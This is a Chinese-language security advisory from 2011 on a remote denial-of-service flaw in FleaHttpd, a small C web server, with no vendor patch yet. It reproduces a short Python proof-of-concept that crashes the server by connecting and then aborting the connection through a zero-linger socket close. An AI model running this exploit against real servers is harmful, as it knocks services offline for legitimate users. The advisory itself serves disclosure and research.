发布日期:2011-11-16 更新日期:2011-11-17受影响系统: FleaHttpd FleaHttpd 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 50695FleaHttpd“跳蚤服务器”是一个用C从头写的一个轻量级网络伺服器,静态文件的抓取速度大概是Apache的三倍。FleaHttpd在实现上存在远程拒绝服务漏洞,远程攻击者可利用此漏洞使应用程序崩溃,拒绝服务合法用户。<*来源:condis *>测试方法: --------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!#!/usr/bin/python"""FleaHttpd Remote Denial Of Service Exploit by condis"FleaHttpd is a http daemon written from scratch in C. When working as a static file server, data show that under certain condition, fleahttpd"s speed for static file retrieving can be three times faster than Apache2"project site (source): http://code.google.com/p/fleahttpd/source/browse/trunk/fleahttpd.c Tested on: Linux DebianJust 4 fun :x"""import sys, socket, structhost = "127.0.0.1" port = 80try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack("ii", 1, 0)) sock.connect((host, port)) sock.close() print "Phuck3d!"except: print "whOoPs?!"建议: -------------------------------------------------------------------------------- 厂商补丁:FleaHttpd --------- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://code.google.com/p/fleahttpd/source/browse/trunk/fleahttpd.cAdobe Acrobat和Reader远程安全限制绕过漏洞多个Computer Associates产品边界检查拒绝服务漏洞相关资讯 漏洞 FleaHttpd
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